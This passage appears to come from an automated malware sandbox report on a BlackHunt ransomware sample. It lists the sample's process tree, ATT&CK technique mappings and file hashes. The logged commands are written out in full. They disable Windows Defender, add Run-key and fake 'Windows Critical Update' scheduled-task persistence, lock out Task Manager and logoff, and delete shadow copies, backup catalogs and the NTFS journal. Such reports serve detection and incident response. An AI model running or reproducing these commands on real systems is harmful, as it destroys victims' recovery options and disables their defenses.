- Suspicious use of WriteProcessMemory
- System policy modification
PID:2032 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3632 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:4436
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:1532
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:3920
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2036
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:3536
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2224
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:368
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:4008
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2300
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:3904
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:5724
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2204
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:5752
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:3976
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:5744
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:1840
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:5584
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:4988
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:5716
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:968
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:5684
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:716
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:5608
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:3868
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:5616
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:1480
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:5592
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2488
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:5908
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2648
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:5856
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:4308
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:5768
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:3172
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:5924
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:4408
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:5916
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:5072
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:6024
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2416
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:6124
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2680
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:5728
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1372
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:5956
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:1216
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:5772
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:832
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:5932
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2844
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:5724
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe" /F2⤵PID:4024
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe" /F3⤵
- Creates scheduled task(s)
PID:5836
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:3064
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:6096
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:4432
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:5640
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:4568
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:5812
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:4016
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:5408
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1784
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3160
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2056
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:5476
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1064
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:648
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:4112
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2684
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:4380
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2100
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1548
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5748
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:4164
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:6072
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:4184
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:6100
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1688
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:924
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5108
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5436
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:4656
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:4328
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD57e52df67a32a45ae3ef96b4b8f21ec82
SHA1f2623266527dd29ef4c08939cd6a2624925bdacd
SHA2563781964dba55b14c4b934a3cc639e6d6449a13801b0b6148fabb7d2c6f9a2423
SHA512d14b4f94d95491679e3f5683c77d6ba7d429959007bd406625550b99dfc489f9ef8efa720c9ae24c3cfbcbc5ca787f4151dd4358822a56c5ec5cc1192f993f54
-
Filesize
12KB
MD5b051fac5e205cdde2d983023f0551357
SHA1bc88a08fddddf2e8a955737b03b78c329f2cc8fa
SHA25646f0b47bde37e51183ea6a01c9f62880f6e3a98031e9e9e1d0d7d43df5856e39
SHA5128a7565b9f87611dd0078919f883275a9ea9a62656188eac4dca48cb649af17f095cafe4073c6b0e91fbb0a2d25f892c677997f3539e8b57d4045055a3357316f
-
Filesize
684B
MD536e842fc8f9a60c73c6982933aa05d67
SHA18a29a3d817b5aa6a7ec93e4343f20a75b10a4f5e
SHA256706931d9d2e71ebd85a89a50ef57dbe6d2640279ec3b2708af43fa5232c96218
SHA51254e682ea8c7b6a62a92efed672dfeae943406900d30b59a5dbcae998e7e6bc9c3f07b42f8171daa4e2cc567caf63f849e29b6e4a4d1e140a6f8a882ac524b37c